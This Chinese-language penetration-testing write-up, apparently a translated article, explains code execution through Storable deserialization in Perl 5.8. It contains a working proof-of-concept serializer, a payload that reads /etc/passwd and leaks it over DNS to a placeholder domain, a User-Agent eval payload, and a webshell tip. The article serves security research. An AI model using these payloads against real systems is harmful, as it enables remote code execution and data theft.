PERL 5.8的反序列化

wyzsk發表於2020-08-19
作者: mickey · 2016/02/16 17:31

from: http://www.agarri.fr/kom/archives/2016/02/06/deserialization_in_perl_v5_8/index.html

0x00 文章簡單翻譯


在做滲透測試的時候,我發現有個應用程式包含了form表單,其中有一個經過base64編碼的hidden屬性的引數名叫"state",包含了一些字串和二進位制資料。

#!bash
$ echo  'BAcIMTIzNDU2NzgECAgIAwMAAAAEAwAAAAAGAAAAcGFyYW1zCIIEAAAAc3RlcAQDAQAAAAiAHgAAAF9fZ2V0X3dvcmtmbG93X2J1c2luZXNzX3BhcmFtcwQAAABkYXRh' | base64 -d | hd 
00000000  04 07 08 31 32 33 34 35  36 37 38 04 08 08 08 03  |...12345678.....|
00000010  03 00 00 00 04 03 00 00  00 00 06 00 00 00 70 61  |..............pa|
00000020  72 61 6d 73 08 82 04 00  00 00 73 74 65 70 04 03  |rams......step..|
00000030  01 00 00 00 08 80 1e 00  00 00 5f 5f 67 65 74 5f  |..........__get_|
00000040  77 6f 72 6b 66 6c 6f 77  5f 62 75 73 69 6e 65 73  |workflow_busines|
00000050  73 5f 70 61 72 61 6d 73  04 00 00 00 64 61 74 61  |s_params....data|

我開啟了burpsuite的Intruder,做"Character frobber" fuzzing測試。透過返回的結果,我發現了一些有趣的東西。如圖1:

p1

頁面返回的結果裡暴露了目標使用Perl和Storable 2.7,經過Google搜尋,我知道Storable是Perl的一個模組,是用來做資料序列化的。檢視Storable的官方文件我們可以看到有個很大的安全提示:

Some features of Storable can lead to security vulnerabilities if you accept Storable documents from untrusted sources. Most obviously, the optional (off by default) CODE reference serialization feature allows transfer of code to the deserializing process. Furthermore, any serialized object will cause Storable to helpfully load the module corresponding to the class of the object in the deserializing module. For manipulated module names, this can load almost arbitrary code. Finally, the deserialized object's destructors will be invoked when the objects get destroyed in the deserializing process. Maliciously crafted Storable documents may put such objects in the value of a hash key that is overridden by another key/value pair in the same hash, thus causing immediate destructor execution.

有關這個安全問題,youtube上有個叫“ Weaponizing Perl Serialization Flaws with MetaSploit”的影片,作者還把相關程式碼放在了github(https://github.com/lightsey/cve-2015-1592),有了前人的經驗,我想再應用到我的滲透專案裡,應該不是太難:),但是經過一些測試後,我發現我不能按照前人的經驗來應付我現在的滲透場景,Storable預設使用跨平臺的nfreeze()函式來做序列化。例子程式碼如下:

#!perl
#!/usr/bin/perl

use MIME::Base64 qw( encode_base64 );
use Storable qw( nfreeze );

{
    package foobar;
    sub STORABLE_freeze { return 1; }
}

# Serialize the data
my $data = bless { ignore => 'this' }, 'foobar';
my $frozen = nfreeze($data);

# Encode as Base64+URL and display
$frozen = encode_base64($frozen, '');
$frozen =~ s/\+/%2B/g;
$frozen =~ s/=/%3D/g;
print "$frozen\n";

當執行這段程式碼的時候,報錯如下:

#!bash
No STORABLE_thaw defined for objects of class foobar (even after a "require foobar;") at ../../lib/Storable.pm (autosplit into ../../lib/auto/Storable/thaw.al) line 366, at /var/www/cgi-bin/victim line 29
For help, please send mail to the webmaster ([email protected]), giving this error message and the time and date of the error.

透過報錯資訊,我認為透過控制"foorbar"字元,嘗試注入";",或許可以注入惡意的Perl程式碼來執行:D,為了驗證我的想法,我透過https://metacpan.org/source/AMS/Storable-2.51/Storable.xs檢視原始碼,結果卻很失望。

#!perl
if (!Gv_AMG(stash)) {
        const char *package = HvNAME_get(stash);
        TRACEME(("No overloading defined for package %s", package));
        TRACEME(("Going to load module '%s'", package));
        load_module(PERL_LOADMOD_NOIMPORT, newSVpv(package, 0), Nullsv);
        if (!Gv_AMG(stash)) {
                CROAK(("Cannot restore overloading on %s(0x%"UVxf") (package %s) (even after a \"require %s;\")",
                       sv_reftype(sv, FALSE), PTR2UV(sv), package, package));
        }
}

透過在Storable.xs原始碼裡搜尋“No STORABLE_thaw defined for objects”報錯資訊,定位到了4388行的load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv);這裡僅僅呼叫了load_module(),並沒有我想要的requrie功能,但是影片裡不是這麼說的,我又檢視了2.15版本的Storable.xs原始碼https://metacpan.org/source/AMS/Storable-2.15/Storable.xs,經過原始碼對比,發現2.15版的Storable第4297行,多了 perl_eval_sv(psv, G_DISCARD);

#!perl
4295,4298c4387,4388
<               TRACEME(("Going to require module '%s' with '%s'", classname, SvPVX(psv)));
< 
<               perl_eval_sv(psv, G_DISCARD);
<               sv_free(psv);
---
>               TRACEME(("Going to load module '%s'", classname));
>               load_module(PERL_LOADMOD_NOIMPORT, newSVpv(classname, 0), Nullsv);

可以看到,object名(package名後面的字元)直接傳入了perl_eval_sv()函式。Perl >=5.10以後會使用新的載入機制,所以不受該漏洞影響,而我的目標執行在Perl 5.8,5.8版的Perl在許多老的Linux發行版本(像 RHEL/CentOS 5)是預設安裝的,是受此漏洞影響的。這裡我只要把我的payload放到object名後面就可以了,我可以載入"POSIX"模組,然後透過eval()來執行系統命令。但是這裡需要注意的object名的長度是252位元組,但也足夠我們寫payload了。假設我想透過dns來獲取返回資訊,payload可以這樣構造:

#!perl
Socket;use MIME::Base64;sub x{$z=shift;for($i=0;$i<length($z);$i+=45){$x=encode_base64(substr($z,$i,$i+45),'');gethostbyname($x.".dom.tld");}} open(f,"/etc/passwd");while(<f>){x($_)}

payload可以構造的很短,比如透過User-Agent來獲取命令,然後放入POSIX模組的eval()執行

#!perl
POSIX;eval($ENV{HTTP_USER_AGENT});exit;

這裡還有一個技巧:如果目標的CGI是不顯錯的,我可以透過CGI:Carp的fatalsToBrowser來把正常輸出和報錯資訊都吐給瀏覽器,來實現一個簡單的webshell。

我這裡提供了http://www.agarri.fr/docs/victimhttp://www.agarri.fr/docs/PoC_thaw_perl58.pl用來做測試練習。

0x01 本地實際測試


我的測試程式碼如下:

#!perl
#!/usr/bin/perl

use MIME::Base64 qw( encode_base64 );
use Storable qw( nfreeze );

print Storable->VERSION."\n";

{
    package foobar;POSIX;eval(system("uname"));exit;;;;;
    sub STORABLE_freeze { return 1; }
}

# Serialize the data
my $data = bless { ignore => 'this' }, 'foobar;POSIX;eval(system("uname"));;;;;;;';
my $frozen = nfreeze($data);

print $frozen;

# Encode as Base64+URL and display
$frozen = encode_base64($frozen, '');
$frozen =~ s/\+/%2B/g;
$frozen =~ s/=/%3D/g;
print "BASE64:$frozen\n";

如果只是本地測試,可以使用perlbrew來切換perl5.8.9和kali 1.10自帶的perl 5.14.2,測試結果如圖2所示:

p2

可以看到perl 5.8.9是受漏洞影響的,而perl 5.14.2沒有受影響。

接下來在測試下perl cgi,程式碼就用作者提供的http://www.agarri.fr/docs/victim,作者提供的POC需要稍微改改,要不然獲取不到命令執行結果,測試結果如圖3所示:

p3

0x02 參考文件:


感謝的人:
多年來一直輔導我的月總

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章